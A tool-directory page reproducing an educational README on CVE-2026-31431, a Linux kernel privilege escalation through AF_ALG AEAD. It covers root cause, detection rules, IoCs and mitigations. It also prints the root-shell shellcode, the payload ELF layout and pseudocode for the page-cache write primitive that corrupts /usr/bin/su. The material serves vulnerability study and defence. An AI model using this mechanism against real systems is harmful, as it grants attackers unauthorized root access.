Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-31431-copyfail — # Análisis educativo de CVE-2026-31431 Análisis educativo de CVE-2026-31431, una escalada de privilegios local en el kernel de Linux mediante la operación in-place de AF_ALG AEAD, incluyendo la causa raíz técnica, detección y mitigación. | Kitploit
Herramientas/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
Escalada de PrivilegiosFrameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónPapers e InvestigaciónAprendizaje y EducaciónRecursos Curados
GitHubdarioomatos/cve-2026-31431-copyfail

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

cve-2026-31431-copyfail

# Análisis educativo de CVE-2026-31431 Análisis educativo de CVE-2026-31431, una escalada de privilegios local en el kernel de Linux mediante la operación in-place de AF_ALG AEAD, incluyendo la causa raíz técnica, detección y mitigación.

Ver Repositorio
1hace 3 mesesAún no revisado

CVE-2026-31431 — "Copy Fail" 🔐

Análisis técnico educativo de una de las vulnerabilidades más significativas del kernel Linux desde Dirty Pipe (2022).
Este repositorio está orientado a investigación, estudio y defensa. Aquí no se distribuye ningún exploit funcional.


Índice

  • ¿Qué es?
  • Para profanos: la analogía
  • Cronología
  • Cómo funciona técnicamente
  • El shellcode analizado
  • Comparación con vulnerabilidades similares
  • Sistemas afectados
  • ¿Android está afectado?
  • Detección
  • Mitigación y parches
  • Implementaciones de estudio
  • Referencias

¿Qué es?

CVE-2026-31431, apodada Copy Fail, es una vulnerabilidad de escalada local de privilegios (LPE — Local Privilege Escalation) en el kernel Linux. Permite que cualquier usuario sin privilegios obtenga acceso root en cuestión de segundos.

AtributoValor
CVECVE-2026-31431
CVSS Score7.8 HIGH
TipoLocal Privilege Escalation (LPE)
Subsistemacrypto/algif_aead.c — AF_ALG
Introducida enKernel 4.14 (commit 72548b093ee3, julio 2017)
Corregida en6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d)
Descubierta porTaeyang Lee — Theori / Xint Code
Divulgación pública29 de abril de 2026
PoC públicoSí — script Python de ~732 bytes

Para profanos: la analogía

Imagina que el sistema operativo tiene una memoria de trabajo (llamada page cache) donde guarda copias de los archivos que se están usando. Cuando ejecutas un programa, el sistema carga ese programa en esa memoria y lo ejecuta desde allí — no directamente desde el disco.

Copy Fail permite que un usuario común altere esa copia en memoria de un programa especial (un binario setuid, como el comando su) sin tocar el archivo original en el disco. El archivo en el disco permanece intacto, pero cuando se ejecuta el programa, el sistema lee la versión corrupta de la memoria.

Es como cambiar la receta de un plato en la memoria de un chef mientras está cocinando — el libro de recetas original no cambia, pero el plato que sale es completamente diferente.

El resultado: el programa corrupto ejecuta código del atacante con permisos de root.

Lo que lo hace especialmente peligroso:

  • No hay ventana de condición de carrera — es determinista
  • No deja rastro en el disco (la forense de disco no lo detecta)
  • Funciona en prácticamente todas las distribuciones Linux desde 2017
  • El exploit original tiene solo ~700 bytes de Python

Cronología```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

root@kitploit:~
---

## Cómo funciona técnicamente

### Descripción general del flujo```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

Causa raiz: operação in-place + sg_chain()

O bug vive em crypto/algif_aead.c. Em 2017, a operação AEAD foi convertida para in-place para ganhar performance:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

root@kitploit:~
El algoritmo `authencesn` usa el buffer de destino como *scratch space* para reorganizar bytes del Extended Sequence Number (ESN) del IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

Por que não deixa rastro

A escrita contorna completamente o VFS. A página modificada nunca é marcada como dirty pelo mecanismo de writeback do kernel. O arquivo em disco permanece intacto. Ferramentas de integridade baseadas em hash (aide, tripwire, inotifywait) não detectam nada porque monitoram o disco, não o page cache.


O shellcode analisado

O exploit embute um mini-ELF de 160 bytes comprimido com zlib. Após descompressão, a parte executável é:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

root@kitploit:~
**Estructura del ELF mínimo (160 bytes en total):**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

Comparación con vulnerabilidades similares


Sistemas afectados

Versiones del kernel:

  • Introducida: Linux 4.14 (julio 2017)
  • Corregida: 6.18.22, 6.19.12, 7.0

Distribuciones con exploits funcionales confirmados:

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • Red Hat Enterprise Linux 10.1
  • SUSE Linux Enterprise 16
  • Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux

Condición necesaria: CONFIG_CRYPTO_USER_API_AEAD=y o =m en el kernel

Verificar si el sistema está expuesto:```bash

Verifica se o módulo está disponível

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

=y → built-in (mais difícil de desabilitar)

=m → módulo carregável (pode ser bloqueado via modprobe)

(ausente) → não afetado

Teste direto (não causa dano, apenas testa acesso):

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))')) print('⚠️ EXPOSTO: algif_aead acessível') s.close() except Exception as e: print(f'✅ Bloqueado: {e}') "

root@kitploit:~
---

## ¿Android se ve afectado?

**Respuesta corta:** Android estándar (AOSP/GKI) **no es vulnerable en la práctica**, pero los dispositivos con configuraciones no estándar merecen verificación.

### Análisis por requisito previo```
Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK            ❌ Inviável                  ❌ Inviável
Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)

Por qué Android está protegido de forma natural

1. CONFIG_CRYPTO_USER_API_AEAD ausente en GKI Google no incluye esta opción en el gki_defconfig arm64 estándar. Android usa BoringSSL en userspace para criptografía, no depende de AF_ALG.

2. SELinux enforcing El dominio untrusted_app de SELinux de Android no tiene permiso create para AF_ALG. La llamada socket(AF_ALG, SOCK_SEQPACKET, 0) se deniega con EACCES antes de llegar al subsistema de criptografía.

3. Seccomp-bpf Las apps de Android se ejecutan con un filtro seccomp que bloquea socket() con domain=AF_ALG — no está en la whitelist de syscalls permitidas para aplicaciones de terceros.

4. Ausencia de binarios setuid Android no usa el modelo setuid de Linux tradicional. Los binarios privilegiados usan capabilities específicas o se ejecutan como servicios con UIDs dedicados. No hay /usr/bin/su en builds de producción de AOSP.

Escenarios de riesgo en Android

Cómo verificar un dispositivo Android```bash

Verificar config do kernel

adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

Verificar modo SELinux

adb shell getenforce

Enforcing = protegido / Permissive = risco potencial

Teste direto (requer adb shell funcional)

adb shell python3 -c " import socket try: s = socket.socket(38, 5, 0) s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')) print('EXPOSTO') except Exception as e: print('Bloqueado:', e) " 2>/dev/null || echo "python3 não disponível no device"

Procurar binários setuid (incomum em Android padrão)

adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

root@kitploit:~
---

## Detección

### Falco (detección en tiempo de ejecución)```yaml
- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
  desc: >
    Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
    toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
  condition: >
    evt.type = socket
    and evt.rawres >= 0
    and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
    and (evt.arg.type = 5 or evt.arg.type = 2053)
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                          integritysetup, kcapi-enc, kcapi-dgst)
  output: >
    AF_ALG AEAD socket por processo suspeito
    (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [CVE-2026-31431, kernel, privilege_escalation]

Indicadores de comprometimiento (IoCs)```bash

Processo Python que abre AF_ALG seguido de execução de shell

strace de processo suspeito mostrando:

socket(AF_ALG=38, SOCK_SEQPACKET, 0)

bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)

splice(...) ← arquivo → pipe → socket

recvmsg(...)

Seguido de:

setuid(0)

execve("/bin/sh", ...)

Red flags nos logs do sistema:

- Processo não-root com UID transitioning para 0

- python3 como parent de sh/bash

- Sequência socket+splice+recv em processo de usuário comum

root@kitploit:~
### Verificar si el sistema fue comprometido```bash
# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)

# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição

Mitigación y parches

Opción 1 — Actualizar el kernel (recomendado)```bash

Ubuntu / Debian

sudo apt update && sudo apt upgrade linux-image-generic sudo reboot

RHEL / AlmaLinux / Rocky Linux

sudo dnf upgrade kernel sudo reboot

Fedora

sudo dnf upgrade kernel sudo reboot

Arch Linux

sudo pacman -Syu linux sudo reboot

Verificar versão após reboot:

uname -r

Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

root@kitploit:~
**Versiones corregidas por serie:**

| Serie | Versión corregida |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x  | 6.1.170  |
| 6.6.x  | 6.6.137  |
| 6.12.x | 6.12.85  |
| 6.18.x | **6.18.22** |
| 6.19.x | **6.19.12** |
| 7.0+   | **7.0** (fix incluido) |

### Opción 2 — Deshabilitar algif_aead (workaround temporal)

**Si `CONFIG_CRYPTO_USER_API_AEAD=m` (módulo cargable):**```bash
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Se CONFIG_CRYPTO_USER_API_AEAD=y (integrado — caso RHEL/Rocky/CloudLinux):

⚠️ El comando anterior no funciona cuando el módulo está compilado en el kernel.```bash

Use o initcall_blacklist via grubby:

grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init" sudo reboot

Verificar se o mitigation está ativo:

cat /proc/cmdline | grep algif_aead_init

root@kitploit:~
**Confirmar que el workaround está funcionando:**```bash
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
    print('✅ Mitigação ativa — socket bloqueado')
"

Compatibilidad del workaround: El bloqueo de algif_aead no afecta a dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Solo afecta a aplicaciones que usan explícitamente AF_ALG para AEAD (raro — ej.: OpenSSL con engine afalg, hardware crypto offload).

Opción 3 — Seccomp / LSM para entornos containerizados```yaml

Perfil seccomp para bloquear AF_ALG em containers:

{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }] }] }

root@kitploit:~
---

## Implementaciones de estudio

Este repositorio documenta el mecanismo del exploit en múltiples lenguajes con fines educativos. El enfoque es entender **cómo** funciona la vulnerabilidad, no distribuir herramientas ofensivas.

### Estructura del mecanismo (seudocódigo)```
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
    alg = socket(AF_ALG, SEQPACKET)
    alg.bind("authencesn(hmac(sha256),cbc(aes))")
    alg.set_key(chave_36_bytes)
    alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
    op = alg.accept()

    # O segredo: bytes[0:4] vão para posições [4:8] do AAD
    # authencesn lerá isso como seqno_lo e escreverá no page cache
    aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]

    op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])

    pipe_r, pipe_w = pipe()
    splice(arquivo → pipe_w, len=offset+4, src_offset=0)
    splice(pipe_r  → op,     len=offset+4)
    # ↑ Injeta page cache na scatterlist do AF_ALG

    op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado

# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
    escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su")  ← agora executa nosso ELF → root

Linguagens documentadas

O arquivo copyfail_study.md contém as implementações completas e comentadas.

Sobre o payload ELF

O shellcode recuperado (após descompressão zlib do PoC) faz:```

  1. setuid(0) → syscall 105 (0x69)
  2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
  3. exit(0) → syscall 60 (0x3c) — fallback
root@kitploit:~
Total: 26 bytes de código + 8 bytes de string = 34 bytes de shellcode dentro de um ELF de 160 bytes.

---

## Referências

| Recurso | Link |
|---|---|
| Writeup original (Theori/Xint) | https://xint.io/blog/copy-fail-linux-distributions |
| Site oficial da CVE | https://copy.fail |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| Repositório PoC original | https://github.com/theori-io/copy-fail-CVE-2026-31431 |
| Patch mainline | https://git.kernel.org/stable/c/a664bf3d603d |
| Wikipedia | https://en.wikipedia.org/wiki/Copy_Fail |
| Análise Sysdig + Falco rule | https://sysdig.com/blog/cve-2026-31431-copy-fail |
| Análise Microsoft Defender | https://microsoft.com/security/blog/2026/05/01/cve-2026-31431 |
| FAQ Tenable | https://tenable.com/blog/copy-fail-cve-2026-31431 |
| Advisory CERT-EU | https://cert.europa.eu/publications/security-advisories/2026-005 |
| Análise Bugcrowd | https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431 |
| Discussão OSS-Security | https://openwall.com/lists/oss-security/2026/04/29/23 |
| AlmaLinux patch | https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail |
| CloudLinux patch + análise workaround | https://blog.cloudlinux.com/cve-2026-31431-copy-fail |
| Kaspersky / Securelist | https://securelist.com/copyfail-root-linux/119634 |

---

## Aviso legal

Este repositório tiene **finalidad exclusivamente educativa y de investigación en seguridad defensiva**. El contenido aquí presente está destinado a:

- Profesionales de seguridad ofensiva y defensiva
- Investigadores de vulnerabilidades
- Estudiantes de seguridad de la información
- Administradores de sistemas que necesitan comprender el riesgo para mitigarlo

**No utilice este conocimiento en sistemas sin autorización explícita del propietario.** El acceso no autorizado a sistemas informáticos es un delito en prácticamente todas las jurisdicciones (en Brasil, Ley 12.737/2012 — Ley Carolina Dieckmann; Ley 14.155/2021).

---

*Última actualización: mayo de 2026*  
*Contribuciones bienvenidas vía PR — mantenga el enfoque educativo y defensivo.*
Descargar herramienta
Dirty Cow (2016)Dirty Pipe (2022)Copy Fail (2026)
CVECVE-2016-5195CVE-2022-0847CVE-2026-31431
TipoRace condition en CoWPipe buffer sin flagsLogic bug en AEAD
ConfiabilidadDependiente de race (~ms)DeterminísticoDeterminístico
Rastro en discoSí (dirty pages)NoNo
PortabilidadAmpliaVersiones específicasUniversal (2017–2026)
Tamaño del PoC~50 líneas C~40 líneas C~10 líneas Python
Subsistemamm/ (CoW)fs/ (pipe)crypto/ (AF_ALG)
DescubrimientoManualManualAsistido por IA
Ventana de explotaciónRace windowNingunaNinguna
EscenarioRiesgo
Dispositivo con Magisk/KernelSU + SELinux permissiveAlto — todos los requisitos previos pueden alinearse
Kernel OEM con CONFIG_CRYPTO_USER_API_AEAD=y + eng buildMedio — depende del acceso shell
App maliciosa en dispositivo no rooteadoNinguno — SELinux + seccomp lo bloquean
ADB en build de producciónNinguno — adb root no funciona
LinguagemDescrição
Python (deofuscado)Versão limpa e comentada do PoC original
NASM x86_64O ELF payload anotado instrução por instrução
GoUsando syscall.RawSyscall6 para SYS_SPLICE e SYS_SETSOCKOPT diretamente
CImplementação com struct msghdr, CMSG_DATA, e zlib runtime